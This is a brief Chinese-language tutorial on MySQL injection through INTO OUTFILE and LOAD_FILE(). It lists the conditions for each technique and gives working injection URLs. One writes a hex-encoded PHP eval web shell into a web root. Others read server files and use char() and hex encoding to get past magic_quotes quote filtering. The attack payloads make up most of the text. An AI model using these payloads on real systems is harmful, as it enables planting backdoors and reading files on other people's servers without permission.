前言
两种方式都具有很大局限性,作为了解使用
into outfile
1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道
2:要有file权限,默认情况下只有root有
3:对目录要有写权限,一般image之类的存放突破的目录就有
如果存在以上条件,还可以注入,那么就可以用into outfile写文件
例如:
http://127.0.0.1/index.php?age=-1 union select 1,2,3,4,0x3c3f706870206576616c28245f504f53545b27736b79275d293f3e into outfile ‘H:/wamp64/www/233.php’
其中:
0x3c3f706870206576616c28245f504f53545b27736b79275d293f3e是hex编码的<?php eval($_POST[‘sky’])?>
写的文件名一定要是不存在的,不然就会不成功
load_file()
1、必须有权限读取并且文件必须完全可读
2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于 max_allowed_packet
如果存在以上条件,还可以注入,那么就可以用load_file()读文件
例如:
http://127.0.0.1/index.php?age=-1 union select 1,2,3,4,load_file(‘H:/wamp64/www/233.php’)
一些技巧
对于magic_quotes_gpc = on的时候,会过滤引号
可以通过char,16进制等方式来绕过
例如:
-1 union select 1,2,3,4,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
-1 union select 1,2,3,4,load_file(0x633a2f626f6f742e696e69)